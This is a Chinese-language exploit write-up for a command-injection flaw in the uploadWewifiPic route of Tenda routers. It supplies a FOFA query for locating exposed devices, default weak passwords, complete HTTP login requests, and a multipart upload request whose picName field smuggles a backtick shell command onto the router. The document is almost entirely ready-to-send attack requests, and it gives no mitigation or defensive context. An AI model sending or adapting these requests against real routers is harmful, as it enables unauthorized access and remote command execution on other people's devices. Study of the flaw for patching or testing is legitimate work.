T8-1Tenda-路由器-RCE

漏洞描述：

腾达路由器后台 uploadWewifiPic 路由存在命令执行漏洞，攻击者可利用漏洞执行任意命令获取服务器权限。

网站图片:

网络测绘:

fofa语法：

FOFA：app=“Tenda-路由器”

漏洞复现:

默认弱口令登录
账号：admin 密码：guest、admin等（base64编码）也可以登录页面直接尝试
payload：

POST /login/Auth HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 34

username=admin&password=Z3Vlc3Q%3D

效果图:

POST /login/Auth HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

username=admin&password=YWRtaW4%3D

携带cookie命令执行

POST /cgi-bin/uploadWewifiPic HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEHyn0rb3RDhDg11R
Cookie: user=admin
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundaryEHyn0rb3RDhDg11R
Content-Disposition: form-data; name="picName"

wewifipic1`ls>/webroot/1.txt`
------WebKitFormBoundaryEHyn0rb3RDhDg11R
Content-Disposition: form-data; name="uploadFile"; filename="1.png"
Content-Type: image/png

1
------WebKitFormBoundaryEHyn0rb3RDhDg11R--

查看命令执行结果